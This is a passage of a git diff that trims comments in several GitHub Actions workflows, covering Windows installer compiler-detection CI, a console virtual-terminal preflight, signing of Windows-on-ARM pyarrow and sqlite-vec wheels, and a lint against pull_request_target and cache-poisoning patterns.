- '.github/workflows/windows-no-compiler-ci.yml'
- # The desktop leg runs install.ps1 --tauri --local, which hands setup to this
- # checkout's CLI; commands/studio.py, commands/start.py and
- # _studio_runtime_gate.py spawn PowerShell, the path a compiler would come back
- # through.
+ # The desktop leg hands setup to this checkout's CLI, which spawns PowerShell.
- 'unsloth_cli/*.py'
- 'unsloth_cli/commands/*.py'
push:
@@ -100,10 +60,7 @@ on:
- 'studio/install_*.py'
- 'studio/node_prebuilt_pins.json'
- '.github/workflows/windows-no-compiler-ci.yml'
- # The desktop leg runs install.ps1 --tauri --local, which hands setup to this
- # checkout's CLI; commands/studio.py, commands/start.py and
- # _studio_runtime_gate.py spawn PowerShell, the path a compiler would come back
- # through.
+ # The desktop leg hands setup to this checkout's CLI, which spawns PowerShell.
- 'unsloth_cli/*.py'
- 'unsloth_cli/commands/*.py'
workflow_dispatch:
@@ -123,8 +80,7 @@ jobs:
timeout-minutes: 60
env:
- # Outside any user profile, like the Application Control leg: the paths under
- # test must not depend on whose profile ran.
+ # Outside any user profile, so paths do not depend on whose profile ran.
UNSLOTH_STUDIO_HOME: 'C:\Users\Public\no-compiler-home'
UNSLOTH_EVIDENCE: 'C:\Users\Public\no-compiler-evidence'
@@ -137,26 +93,19 @@ jobs:
$ErrorActionPreference = 'Stop'
New-Item -ItemType Directory -Force -Path $env:UNSLOTH_EVIDENCE | Out-Null
- # 4688 with the command line, which distinguishes "csc.exe ran" from
- # "csc.exe ran for us". The subcategory produces the event, the policy
- # value fills in the command line.
+ # 4688 with command lines distinguishes "csc.exe ran" from "csc.exe ran for us".
auditpol /set /subcategory:"Process Creation" /success:enable | Out-Null
$auditKey = 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit'
New-Item -Path $auditKey -Force | Out-Null
New-ItemProperty -Path $auditKey -Name 'ProcessCreationIncludeCmdLine_Enabled' `
-Value 1 -PropertyType DWord -Force | Out-Null
- # Large enough that the installer's own noise cannot roll the window under
- # test off the end of the Security log.
+ # Large enough that installer noise cannot roll the window off the Security log.
wevtutil sl Security /ms:268435456
$state = auditpol /get /subcategory:"Process Creation"
$state | Tee-Object -FilePath "$env:UNSLOTH_EVIDENCE\auditpol.txt"
- # Joined to one string, and matched on the subcategory line rather than the
- # bare word: auditpol returns an ARRAY of lines, and -notmatch on an array
- # filters rather than tests, so a healthy runner still returned the three
- # header lines and a non-empty array is truthy. This threw on every healthy
- # machine.
+ # auditpol returns an array, and -notmatch on an array filters; join to one string.
if (($state | Out-String) -notmatch 'Process Creation\s+Success') {
throw "process creation auditing did not turn on; this job cannot measure anything"
}
@@ -168,8 +117,7 @@ jobs:
. "$env:GITHUB_WORKSPACE\.github\scripts\Watch-ForCompiler.ps1"
$probe = {
- # One throwaway type, compiled the way the installer used to: the only
- # Add-Type in this repository's CI, here to prove the detector works.
+ # The only Add-Type in CI, here to prove the detector works.
Add-Type -TypeDefinition 'public static class UnslothCompilerProbe { public static int N() { return 1; } }'
[UnslothCompilerProbe]::N() | Out-Null
}
@@ -194,17 +142,10 @@ jobs:
. "$env:GITHUB_WORKSPACE\.github\scripts\Watch-ForCompiler.ps1"
$install = {
- # Spawned the way the desktop spawns it, not dot-sourced: the shape
- # under test is a child powershell.exe, and a dot-source would hide a
- # compile started by the installer's own children from the 4688
- # ancestry. --no-torch for time; the native declarations happen before
- # that. Not --tauri, which refuses the UNSLOTH_STUDIO_HOME that keeps
- # every step reading one tree.
+ # Spawn a child powershell.exe as the desktop does. Not --tauri, which refuses the pinned
+ # UNSLOTH_STUDIO_HOME.
New-Item -ItemType Directory -Force -Path logs | Out-Null
- # 'Continue' only around the child. Under 'Stop', a native command writing
- # ANY line to stderr raises NativeCommandError, so one progress line the
- # installer reports there kills the measurement before the detectors are
- # read. The exit code below is the gate, which is what this is measuring.
+ # 'Continue' around the child only: under 'Stop' any stderr line raises NativeCommandError.
$outer = $ErrorActionPreference
$ErrorActionPreference = 'Continue'
& powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass `
@@ -218,9 +159,7 @@ jobs:
$seen = Invoke-WithCompilerWatch -Name 'installer' -Action $install `
-EvidenceRoot $env:UNSLOTH_EVIDENCE
- # Interpolated, not -f: the format operator binds tighter than the string
- # concatenation above it, so it applied to the last fragment only and the
- # message reported a literal "{0}" every time it fired.
+ # Interpolated, not -f: the format operator binds tighter than concatenation.
if ($seen.Compilers) {
$seen.Compilers | ForEach-Object { Write-Host "COMPILER: $_" }
throw ("the installer spawned $($seen.Compilers.Count) compiler process(es). This is " +
@@ -244,25 +183,11 @@ jobs:
$ErrorActionPreference = 'Stop'
. "$env:GITHUB_WORKSPACE\.github\scripts\Watch-ForCompiler.ps1"
- # --tauri is what the launcher passes: install.rs initialises its argument
- # list with it unconditionally. The step above runs shell mode because only
- # that honours a pinned UNSLOTH_STUDIO_HOME; running only it left a compile
- # reached through a Tauri-only branch invisible to a job whose claim is the
- # desktop shape. So both modes run, with the home unpinned here.
- #
- # --local is the only thing that makes this leg measure the setup.ps1 in THIS
- # checkout. Without it install.ps1 hands the work to the managed CLI, which
- # runs the setup.ps1 inside the released package, so a PR touching only
- # studio/setup.ps1 measured a different revision of the file it changed. The
- # gate below proves the overlay took; a run that fell back to the release is
- # void, not clean.
+ # --tauri is what the launcher passes. --local makes this leg measure this checkout's
+ # setup.ps1; a run that fell back to the release is void.
$desktop = {
Remove-Item Env:\UNSLOTH_STUDIO_HOME -ErrorAction SilentlyContinue
- # Same reason as the shell leg, and this leg needs it more: it deliberately
- # does NOT gate on exit 0, yet a single stderr line from the child raised
- # NativeCommandError under 'Stop' and failed the step anyway. The observed
- # one was "[TAURI:ERROR_CLEAR] create virtual environment recovered", which
- # is the installer reporting that it recovered.
+ # 'Continue' around the child only: under 'Stop' any stderr line raises NativeCommandError.
$outer = $ErrorActionPreference
$ErrorActionPreference = 'Continue'
& powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass `
@@ -271,14 +196,9 @@ jobs:
$exit = $LASTEXITCODE
$ErrorActionPreference = $outer
$global:LASTEXITCODE = 0
- # Not gated on exit 0: a desktop-mode install can decline for unrelated
- # reasons, and the question is only whether a compiler ran on the way.
+ # Not gated on exit 0: only whether a compiler ran matters.
Write-Host "install.ps1 --tauri exited $exit"
- # It IS gated on reaching the work. A run that stopped at argument
- # validation spawns nothing, so both detectors come back empty and the
- # step prints "no compiler" having measured nothing. This STEP line is
- # emitted after the install lock is taken, where the native declarations
- # happen, so seeing it means the branch under test ran.
+ # Gated on reaching the work: the STEP line is printed after the install lock is taken.
$log = ""
if (Test-Path "$env:UNSLOTH_EVIDENCE\install-tauri.log") {
$log = Get-Content -Raw "$env:UNSLOTH_EVIDENCE\install-tauri.log"
@@ -287,15 +207,11 @@ jobs:
throw ("the desktop-mode install stopped before it reached any install " +
"work (exit $exit), so this measurement is void rather than clean.")
}
- # And that setup ran from the checkout. This line is printed by the
- # --local overlay step; without it the delegated setup came out of the
- # released package.
+ # Printed by the --local overlay; without it setup came from the released package.
if ($log -notmatch 'overlaying local repo') {
throw ("the local overlay never ran (exit $exit), so the setup.ps1 that " +
"executed was not the one in this checkout. Void, not clean.")
}
- # Which revision, recorded rather than asserted, so the artifact says
- # what was measured instead of leaving it inferred from the commit.
$setup = Join-Path $env:GITHUB_WORKSPACE 'studio\setup.ps1'
"path=$setup" | Out-File "$env:UNSLOTH_EVIDENCE\setup-measured.txt" -Encoding utf8
"sha256=$((Get-FileHash -LiteralPath $setup -Algorithm SHA256).Hash)" |
diff --git a/.github/workflows/windows-vt-preflight.yml b/.github/workflows/windows-vt-preflight.yml
index e59a817a006..5003ff66b6f 100644
--- a/.github/workflows/windows-vt-preflight.yml
+++ b/.github/workflows/windows-vt-preflight.yml
@@ -1,22 +1,9 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Measurement only. Changes nothing, gates nothing, and is the prerequisite for replacing the
-# installers' native console thunk with $Host.UI.SupportsVirtualTerminal.
-#
-# Why it exists: GetStdHandle / GetConsoleMode / SetConsoleMode are three of the native imports left
-# in install.ps1 and, in studio/setup.ps1, the only reason that file carries reflection-emit helpers,
-# a child-process capability probe and a Device Guard CIM query at all -- roughly 300 lines whose
-# entire purpose is colouring a banner. "Defines a dynamic assembly, P/Invokes kernel32, spawns a
-# hidden child interpreter" is the densest malicious-looking region in either script, so removing it
-# is the largest single reduction available. It is only safe if the property answers what the native
-# code answers, and a wrong guess prints raw escape sequences at a user.
-#
-# Why a plain step cannot answer it: Actions captures stdout, so [Console]::IsOutputRedirected is
-# true in every step and BOTH answers come back as the redirected ones -- which is the case the
-# installers decide early and never reach the native path for. So the console case is measured under
-# conhost.exe, which allocates a real console, and the result travels through a file because that
-# console's output goes nowhere a runner can read.
+# Measurement only: does $Host.UI.SupportsVirtualTerminal agree with the native console
+# checks, so the native VT code in the installers can be removed? Steps are redirected,
+# so the console case runs under conhost.exe and reports through a file.
name: "Windows: virtual terminal preflight"
@@ -44,15 +31,8 @@ jobs:
runs-on: ${{ matrix.os }}
timeout-minutes: 10
strategy:
- # Every supported host, not one of them. The property and the startup VT behaviour are
- # supplied by the OS: ConsoleHost and the in-box Windows PowerShell ship with Windows, so
- # agreement on one image says nothing about another. windows-latest is Server 2025, which is
- # not what a user runs at all; windows-11-arm is the only CLIENT SKU available to a hosted
- # runner and therefore the closest thing here to the machine in #10805; windows-2022 is an
- # older ConsoleHost. windows-2019 is not an option, GitHub retired it.
- #
- # fail-fast is off because a single UNSAFE answer is the most valuable result this lane can
- # produce and cancelling its siblings would throw away the comparison that explains it.
+ # Every hosted Windows image: VT behaviour comes from the OS. fail-fast off so one UNSAFE
+ # answer keeps its comparison.
fail-fast: false
matrix:
os: [windows-latest, windows-2022, windows-11-arm]
@@ -72,25 +52,21 @@ jobs:
$redirected = Join-Path $outDir 'redirected.json'
$console = Join-Path $outDir 'console.json'
- # Windows PowerShell 5.1 specifically. That is the interpreter install.rs spawns
- # (install.rs:433-440) and the one a clean Windows box ships, and it is a different host
- # implementation from pwsh 7, so pwsh's answer does not transfer.
+ # 5.1 specifically: what install.rs spawns and a clean Windows ships; pwsh 7 differs.
$ps51 = Join-Path $env:SystemRoot 'System32\WindowsPowerShell\v1.0\powershell.exe'
if (-not (Test-Path -LiteralPath $ps51)) {
Write-Host "::error::Windows PowerShell 5.1 is not at $ps51; this runner cannot answer the question that matters"
exit 1
}
- # RemoteSigned, not a relaxed policy: the script comes out of a checkout so it carries no
- # mark of the web. Using Bypass in the lane that exists to remove Bypass would be absurd.
+ # RemoteSigned, not Bypass.
& $ps51 -NoProfile -NonInteractive -ExecutionPolicy RemoteSigned -File $probe -OutFile $redirected
if (-not (Test-Path -LiteralPath $redirected)) {
Write-Host '::error::the redirected probe wrote no result file'
exit 1
}
- # conhost.exe allocates a real console for the child, so its stdout handle is a console
- # handle and GetConsoleMode can answer. -Wait because the result is read below.
+ # conhost.exe gives the child a real console handle.
$conhost = Join-Path $env:SystemRoot 'System32\conhost.exe'
if (-not (Test-Path -LiteralPath $conhost)) {
Write-Host '::error::conhost.exe is absent; the console case cannot be measured on this runner'
@@ -121,9 +97,7 @@ jobs:
Write-Host " console mode : $($row.nativeConsoleMode)"
}
- # The control: the console run must actually have had a console. Without this check a
- # conhost that silently failed to attach would make both runs redirected, the two answers
- # would trivially agree, and the lane would report SAFE having measured nothing.
+ # Control: the console run must actually have had a console.
if ($c.isOutputRedirected -ne $false) {
Write-Host ''
Write-Host "::error::the console-attached run still reports isOutputRedirected=$($c.isOutputRedirected), so no real console was measured."
@@ -133,9 +107,7 @@ jobs:
Write-Host ''
Write-Host 'control: the console-attached run really had a console (isOutputRedirected=False)'
- # Named, and scoped to the image that produced it. One runner's agreement is evidence about
- # that runner: the claim the replacement rests on is that EVERY measured host agrees, and
- # that claim belongs to the summary job below, not to any single matrix leg.
+ # Per-image result; the all-hosts claim belongs to the summary job.
$where = "$env:MATRIX_OS ($($c.osCaption ?? 'unknown build'))"
Write-Host ''
if ($null -ne $c.supportsVt -and $c.supportsVt -eq $c.nativeVt) {
@@ -154,8 +126,7 @@ jobs:
if: always()
uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
with:
- # Per leg. upload-artifact v4 and later refuse a duplicate name outright, so one shared
- # name would leave the matrix with a single surviving leg's measurements.
+ # Per leg: upload-artifact v4+ refuses duplicate names.
name: vt-preflight-${{ matrix.os }}
path: ${{ runner.temp }}/vt-preflight/*.json
if-no-files-found: warn
diff --git a/.github/workflows/woa-wheelhouse.yml b/.github/workflows/woa-wheelhouse.yml
index ae73081bdd7..3df189d7b5a 100644
--- a/.github/workflows/woa-wheelhouse.yml
+++ b/.github/workflows/woa-wheelhouse.yml
@@ -1,26 +1,6 @@
-# The Windows on ARM wheelhouse: build, SIGN and publish the two win_arm64 wheels the
-# native ARM64 installer cannot get anywhere else.
-#
-# pyarrow -- mandatory. `datasets` imports it, and PyPI has published no win_arm64 wheel
-# in any release (apache/arrow#48539 adds the CI support and is still open).
-# Its sdist needs Arrow C++, vcpkg and the MSVC ARM64 toolchain, which is
-# ~45 min on this runner and flatly out of reach on a user's machine.
-# sqlite-vec -- optional (RAG). PyPI ships one py3-none-win_amd64 wheel: pure Python plus a
-# single x64 vec0.dll. The port is that DLL rebuilt for ARM64.
-#
-# Signed, because these are the only binaries in the stack we produce ourselves. Everything
-# else on that install comes from PyPI or from NVIDIA. An unsigned .pyd we host and tell the
-# installer to fetch is the weakest link in the chain, and Authenticode is what Windows,
-# SmartScreen and a WDAC policy actually check. The procedure is release-desktop.yml's,
-# unchanged: the digest-pinned trusted-signing-cli, sign-with-trusted-signing.ps1, and the
-# release-signing environment gating the Azure secrets.
-#
-# A .whl cannot be Authenticode signed (a zip has no subject interface package), so what is
-# signed is every PE inside it; sign_wheel_binaries.py repacks and regenerates RECORD.
-#
-# Dispatch only. This holds signing credentials and writes a release, so it must never be
-# reachable from a pull request, and `publish: false` is the default: a run then builds,
-# signs and verifies, and leaves the wheels as artifacts to inspect.
+# Builds, signs and publishes the win_arm64 wheels PyPI lacks: pyarrow (mandatory for
+# datasets) and sqlite-vec (optional, RAG). Every PE inside is Authenticode signed with
+# release-desktop.yml's procedure. Dispatch only; `publish: false` by default.
name: Windows on ARM wheelhouse
on:
@@ -54,8 +34,7 @@ concurrency:
cancel-in-progress: false
env:
- # Windows ARM64 support in Arrow's wheel build is CI-only and still unmerged, so it is
- # overlaid onto the release tag. Both halves move together or not at all.
+ # Arrow's Windows ARM64 wheel support is unmerged, so it is overlaid; move both together.
ARROW_WOA_REPO: MugundanMCW/arrow
ARROW_WOA_REF: 423b9b38f85a2b7634f7fc8e4975b3ed573f3697 # Pyarrow_WoA @ 2026-08-18
@@ -127,8 +106,7 @@ jobs:
}
Write-Host "overlay ${{ env.ARROW_WOA_REPO }} @ $head"
- # Every edit below asserts on the text it replaces, so an upstream rename fails this
- # step rather than silently producing an x64 wheel with an arm64 filename.
+ # Every edit asserts on the text it replaces, so upstream renames fail loudly.
- name: Overlay the ARM64 build support onto the release tag
shell: pwsh
run: |
@@ -149,8 +127,7 @@ jobs:
Set-Content $json -Value $t -Encoding ascii -NoNewline
python -c "import json; json.load(open('$json'))"
- # The upstream script hardcodes VS 2022 Enterprise and its generator. This image
- # moves to VS 2026, so both come from the installed toolset instead.
+ # Upstream hardcodes VS 2022 Enterprise; take the generator from the installed toolset.
$vswhere = "${env:ProgramFiles(x86)}\Microsoft Visual Studio\Installer\vswhere.exe"
$vs = & $vswhere -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.ARM64 -property installationPath
if (-not $vs) { throw 'no Visual Studio with the ARM64 C++ tools' }
@@ -193,8 +170,7 @@ jobs:
Write-Host "pyarrow version: $v"
"SETUPTOOLS_SCM_PRETEND_VERSION=$v" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
- # Trimmed to what `datasets` reaches: this removes gRPC and the cloud SDKs from the
- # vcpkg build entirely, which is most of the wall clock and most of the attack surface.
+ # Trimmed to what `datasets` needs (no gRPC or cloud SDKs).
- name: Trim the build to what datasets needs
shell: pwsh
run: |
@@ -218,8 +194,7 @@ jobs:
vcpkg-arm64-static-md-trimmed-${{ inputs.arrow_tag }}-
vcpkg-arm64-static-md-trimmed-
- # Retried: the ports fetch source tarballs from archive.apache.org and friends, and one
- # timed-out download fails the whole step. Packages already built survive an attempt.
+ # Retried: one timed-out source download fails the step; built packages survive.
- name: vcpkg dependencies (base + json + parquet)
shell: cmd
run: |
@@ -243,8 +218,7 @@ jobs:
run: |
call "arrow\ci\scripts\python_wheel_windows_build.bat"
- # A win_arm64 filename says nothing about what was linked in, so every native image is
- # opened and its COFF machine checked before anything downstream trusts the wheel.
+ # Check every native image's COFF machine; the filename proves nothing.
- name: Verify the wheel is really ARM64
shell: pwsh
run: |
@@ -285,7 +259,6 @@ jobs:
"@
if ($LASTEXITCODE -ne 0) { exit 1 }
- # The reason the wheel exists at all, so it is a gate and not a nice-to-have.
- name: Does datasets work on it
shell: pwsh
run: |
@@ -353,8 +326,7 @@ jobs:
python-version: '3.13'
architecture: arm64
- # scripts/vendor.sh without the unzip dependency. The amalgamation URL is read from
- # that script rather than hardcoded here, so the tag decides which sqlite is vendored.
+ # The amalgamation URL is read from scripts/vendor.sh, so the tag decides the sqlite.
- name: Vendor the sqlite amalgamation
shell: pwsh
run: |
@@ -399,7 +371,6 @@ jobs:
Write-Host "vcvars: $bat"
"VCVARS_BAT=$bat" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
- # The upstream release workflow's own cl line, run natively for arm64.
- name: Compile vec0.dll for ARM64
shell: cmd
run: |
@@ -409,8 +380,7 @@ jobs:
cl.exe /nologo /W4 /O2 /LD /Ivendor sqlite-vec.c /Fe:dist\vec0.dll || exit /B 1
dir dist
- # The PyPI wheel is pure Python plus that one DLL, generated by sqlite-dist, so the
- # port is a DLL swap, a tag rewrite and a regenerated RECORD -- not a rebuild.
+ # DLL swap, tag rewrite and regenerated RECORD, not a rebuild.
- name: Repack the PyPI wheel with the ARM64 DLL
shell: pwsh
run: |
@@ -453,15 +423,10 @@ jobs:
sign:
name: Sign the native binaries
needs: [build-pyarrow, build-sqlite-vec]
- # x64, deliberately. The wheels are ARM64 but Authenticode does not care what the host
- # is, and trusted-signing-cli is an x64 binary whose digest is pinned for windows-latest
- # in release-desktop.yml. Signing here runs the same verified bytes rather than the same
- # bytes under emulation.
+ # x64: trusted-signing-cli's pinned digest is for the x64 binary.
runs-on: windows-latest
timeout-minutes: 45
- # The Azure Trusted Signing secrets are read by this job and no other. Naming the
- # environment is what makes them gateable; add required reviewers in repo settings to
- # close the gap, exactly as release-desktop.yml documents.
+ # Signing secrets are read only here; the environment makes them gateable.
environment: release-signing
steps:
- name: Harden runner (audit)
@@ -483,13 +448,10 @@ jobs:
$ErrorActionPreference = "Stop"
$wheels = Get-ChildItem unsigned/*.whl
$wheels | ForEach-Object { "{0,-52} {1,8:N0} KB" -f $_.Name, ($_.Length / 1KB) }
- # Four pyarrow (cp311-cp314) and one sqlite-vec. A short matrix leg would otherwise
- # publish a wheelhouse missing an interpreter, which reads as "no wheel" downstream.
+ # Four pyarrow (cp311-cp314) and one sqlite-vec.
if ($wheels.Count -ne 5) { throw "expected 5 wheels, got $($wheels.Count)" }
- # Same pin as release-desktop.yml. The URL is reproducibility, the digest is the gate:
- # a release asset can be replaced after upload, and a replaced one must fail the run
- # rather than sign with an unknown binary. Bump both together.
+ # Same digest pin as release-desktop.yml; bump URL and digest together.
- name: Install trusted-signing-cli
shell: pwsh
env:
@@ -520,8 +482,7 @@ jobs:
Write-Output "::error::trusted-signing-cli is not on PATH. Check the install step above."
exit 1
}
- # The helper invokes it by bare name, so whatever PATH resolves is what signs. Only
- # the digest-verified copy may do that.
+ # Signing resolves the bare name, so PATH must resolve to the digest-verified copy.
$verified = [IO.Path]::GetFullPath((Join-Path (Join-Path $env:RUNNER_TEMP "trusted-signing-cli") "trusted-signing-cli.exe"))
if ([IO.Path]::GetFullPath($cli.Source) -ne $verified) {
Write-Output "::error::trusted-signing-cli resolved to $($cli.Source), not the verified $verified."
@@ -553,8 +514,7 @@ jobs:
--signer "pwsh -NoProfile -File studio/src-tauri/windows/sign-with-trusted-signing.ps1 -Path"
if ($LASTEXITCODE -ne 0) { Write-Output "::error::signing failed"; exit 1 }
- # Independent of the signing tool's own report: unpack what will actually be published
- # and ask Windows whether each signature validates on this machine.
+ # Independent check: unpack what will be published and validate each signature.
- name: Verify the published wheels validate
shell: pwsh
run: |
@@ -578,8 +538,7 @@ jobs:
if ($bad -gt 0) { exit 1 }
if ($ok -eq 0) { Write-Output "::error::nothing carries our signature"; exit 1 }
- # RECORD is rewritten by the signing step, so this proves the wheel is still installable
- # and that its own manifest agrees with its contents.
+ # Signing rewrites RECORD, so check the wheel still installs and its manifest matches.
- name: Install each wheel and check its RECORD
shell: pwsh
run: |
@@ -615,7 +574,7 @@ jobs:
run: |
$ErrorActionPreference = "Stop"
$wheels = Get-ChildItem signed/*.whl | Sort-Object Name
- # Flat find-links listing: install.ps1 reads this, then fetches each name beside it.
+ # install.ps1 reads this listing and fetches each name beside it.
($wheels | ForEach-Object { $_.Name }) -join "`n" | Set-Content signed/index.txt -Encoding ascii
($wheels | ForEach-Object { "{0} {1}" -f (Get-FileHash $_.FullName -Algorithm SHA256).Hash.ToLower(), $_.Name }) -join "`n" |
Set-Content signed/SHA256SUMS -Encoding ascii
@@ -650,8 +609,7 @@ jobs:
name: woa-wheelhouse-signed
path: wheelhouse
- # A release, not a branch: GitHub reports a per-asset `digest` through the release API,
- # which is the same verification the installer already applies to the llama.cpp bundles.
+ # A release, so the API reports a per-asset digest the installer verifies.
- name: Create or update the release
shell: bash
env:
@@ -665,8 +623,7 @@ jobs:
--title "Windows on ARM wheelhouse" \
--notes "Signed win_arm64 wheels for the native Windows on ARM installer: pyarrow (cp311-cp314) and sqlite-vec. Neither publishes a win_arm64 wheel on PyPI. The native binaries inside each wheel are Authenticode signed through Azure Trusted Signing; SHA256SUMS lists the digest of every wheel as published."
fi
- # --clobber: this tag is a rolling wheelhouse, and a rebuilt wheel for the same
- # interpreter is meant to replace its predecessor rather than fail the upload.
+ # --clobber: a rolling wheelhouse; rebuilt wheels replace their predecessors.
gh release upload "$TAG" --repo "$GITHUB_REPOSITORY" --clobber \
wheelhouse/*.whl wheelhouse/index.txt wheelhouse/SHA256SUMS
diff --git a/.github/workflows/workflow-trigger-lint.yml b/.github/workflows/workflow-trigger-lint.yml
index 7d0900c63f2..229a17cce7a 100644
--- a/.github/workflows/workflow-trigger-lint.yml
+++ b/.github/workflows/workflow-trigger-lint.yml
@@ -1,25 +1,7 @@
-# Workflow-trigger lint. Refuses two patterns that together powered the
-# TanStack GHSA-g7cv-rxg3-hmpx supply-chain compromise:
-#
-# 1. `pull_request_target` -- runs a fork's workflow YAML against the
-# base repository's secrets. There is no safe use of this trigger
-# for a public open-source project.
-#
-# 2. Shared cache keys between PR-triggered workflows and the publish
-# workflow. A fork PR can poison the cache; the publish workflow
-# then restores the poisoned cache on next run.
-#
-# This lives in its own workflow, not inside security-audit.yml, for one
-# reason: `on.pull_request` here carries NO `paths` / `paths-ignore`
-# filter, and must never gain one. A gate that only runs for some PRs
-# does not gate workflow changes, which is exactly what it exists to
-# review. security-audit.yml is a heavy nightly audit whose filters are
-# tuned for cost; coupling this lint to them once already opened that
-# hole. scripts/lint_workflow_triggers.py enforces the invariant on
-# whichever workflow runs it, so this file cannot quietly re-acquire a
-# filter.
-#
-# Cheap pure-Python lint, runs in seconds. Fail-closed.
+# Refuses `pull_request_target` (fork YAML runs with base-repo secrets) and cache keys
+# shared between PR workflows and publish (a fork PR can poison what publish restores).
+# Its pull_request trigger must NEVER gain a paths filter (enforced by
+# scripts/lint_workflow_triggers.py). Fail-closed.
name: Workflow trigger lint
@@ -40,10 +22,7 @@ jobs:
workflow-trigger-lint:
name: workflow-trigger lint (pull_request_target / cache-poisoning)
runs-on: ubuntu-latest
- # Raised from 5 when this job absorbed 12 more guard modules. Serial they are
- # 209s on a 192-core box and 119s at -n 4, which is what a GitHub runner has;
- # 5 minutes left no headroom for a slower runner and would have failed on
- # timeout rather than on anything real.
+ # ~2 min at -n 4; headroom for slow runners.
timeout-minutes: 15
steps:
- name: Harden runner (egress block)
@@ -82,53 +61,16 @@ jobs:
- name: Lint workflow triggers + cache keys
run: python3 scripts/lint_workflow_triggers.py
- # What the dropped interpreter legs used to catch, as far as a static check can.
- # A pull request runs only the newest leg now, so nothing EXECUTES the backend on
- # the oldest one until the push to main. ast.parse at a feature_version covers
- # syntax and nothing else, which would miss the actual shape of this regression:
- # reaching for a stdlib name that does not exist yet, like the `anext` in
- # core/research_runs.py that already requires 3.10. vermin reads both, so a symbol
- # added after the floor fails here in seconds rather than on main in 23 minutes.
- # No paths filter on this workflow, so it sees every pull request.
+ # Static floor check (syntax and stdlib symbols via vermin) since PRs only execute the
+ # newest interpreter.
- name: Backend still runs on the oldest interpreter the matrix claims
run: python3 scripts/lint_backend_python_floor.py
- # ONE pytest invocation, not one per file.
- #
- # These were 9 separate steps, each paying interpreter startup and collection to
- # run a single module -- and each new guard added a tenth, an eleventh. Collapsed
- # into one call, which also lets pytest share collection across them. This repo's
- # conftest is expensive to import, so a step per module pays that cost every time:
- # over the 17 modules this started with, 53.9s as one invocation against 300.8s as
- # one each. `-n 4` then uses the cores the runner already has: 304 tests, 128s
- # serial against 68s at -n 4, identical results either way.
- #
- # Pinned to 4 rather than `auto` deliberately. ubuntu-latest is a 4-core runner, so
- # on CI the two are the same, but `auto` scales to the host and each xdist worker
- # re-imports that expensive conftest. Measured on a 192-core machine: `auto` spawned
- # 192 workers and took 327s, worse than running serially. A fixed width is the same
- # everywhere and cannot be made pathological by the machine it lands on.
- #
- # tests/security rides along on the same invocation. It held its own ubuntu-latest
- # runner in security-audit.yml for 72s of work behind a queue measured at 11096s,
- # and the same argument that put the lockfile and load-orchestrator lanes into Lint
- # CI applies: work with a narrow trigger, moved into a job that was going to occupy
- # a runner on this commit anyway, can only reduce the slots a commit takes. Here the
- # trigger widens too, since this workflow has no paths filter and
- # security-audit.yml's pull_request does.
- #
- # This host and not Lint CI, where the other absorbed lanes went. Lint CI installs
+ # One pytest invocation for the guards: -n 4 fixed, not auto; tests/security rides along.
# shellcheck from apt, so its harden-runner has to permit escalation and an apt
- # mirror; a security gate moved there would run under a policy weaker than the one
- # it has today. This workflow's harden-runner block is byte-for-byte identical to
- # the one the job carried, so nothing about its isolation changes.
- #
- # The list grew as much as it shrank. Every module here reads a workflow file, so
- # the edit that breaks it is by definition a workflow-only edit, and this is the
- # only job in the repo with no paths filter. Ten guards were sitting outside it,
- # collected first by Backend CI's unfiltered push on main -- after the change had
- # already merged. tests/studio/test_workflow_guards_run_unfiltered.py keeps the
- # list honest so the next one is not forgotten too.
+ # mirror; a security gate there would run under a weaker harden-runner policy.
+ # Every module here reads a workflow file, so it belongs in this unfiltered job
+ # (tests/studio/test_workflow_guards_run_unfiltered.py).
- name: Workflow guard suites
run: |
python3 -m pytest -q -n 4 \
@@ -199,23 +141,9 @@ jobs:
--ignore=tests/security/test_inherited_custom_dtype_is_neutralized.py
- # The four security suites the job above has to --ignore. That job installs four
- # packages on purpose and these import torch and transformers, so they were
- # excluded there and named by no other job: a repository-wide search of workflow
- # pytest commands finds nothing else running them. They were therefore not running
- # in CI at all, which makes a regression in the hardening they cover mergeable
- # behind a green tick.
- #
- # In THIS workflow rather than security-audit.yml, which is where the job first
- # landed. `tests/studio/test_short_job_absorption.py` states the rule: the security
- # suites run here now, and a second runner for the same work in security-audit.yml
- # is the duplication that rule exists to stop. This job is not that duplication -
- # it runs the four files the other job cannot - and it inherits this workflow's
- # unfiltered `on.pull_request`, which is a wider trigger than the one it had.
- #
- # CPU torch from the dedicated index. These suites never touch a device - they
- # parse source, stub `requests` and read env vars - so the CPU wheel is the whole
- # dependency and it keeps the job to a couple of minutes.
+ # The four security suites the job above must --ignore (they import torch and
+ # transformers). They run here per tests/studio/test_short_job_absorption.py. CPU torch
+ # is enough: they never touch a device.
security-regression-suites:
name: security suites (torch-dependent)
runs-on: ubuntu-latest
@@ -226,9 +154,7 @@ jobs:
with:
egress-policy: block
disable-sudo: true
- # PyPI plus the CPU torch index, and GitHub for the checkout. These tests
- # are network-free themselves; `tests/security/conftest.py` blocks sockets
- # for the duration, so nothing here is dialed once pytest starts.
+ # Tests are network-free: tests/security/conftest.py blocks sockets.
allowed-endpoints: >
api.github.com:443
github.com:443
@@ -254,26 +180,13 @@ jobs:
--index-url https://download.pytorch.org/whl/cpu \
--extra-index-url https://pypi.org/simple \
torch
- # unsloth-zoo as well. All three suites import `unsloth.models`, which runs
- # `unsloth/__init__.py`, and that raises ImportError outright when the zoo
- # distribution is absent - `UNSLOTH_ZOO_DISABLE_GPU_INIT` does not bypass it.
- # Without this the job would fail during collection rather than run.
- # Triton as well: unsloth/kernels and unsloth_zoo's compiler and loss_utils
- # import it at module scope and the CPU torch wheel does not supply it.
- # `UNSLOTH_ALLOW_CPU=1` bypasses device probing, not those imports, so without
- # this the job fails during collection.
+ # unsloth-zoo: `unsloth/__init__.py` raises without it. triton: imported at module scope
+ # and not supplied by the CPU torch wheel.
python -m pip install --quiet transformers peft pytest unsloth-zoo triton
- # Named one by one, not as a directory. The point of this job is those three
- # files, and pyproject.toml sets testpaths = ["tests/security"], so a bare
- # pytest here would silently widen into the suites the light runner already
- # covers and the failure of THIS job would stop meaning what it says.
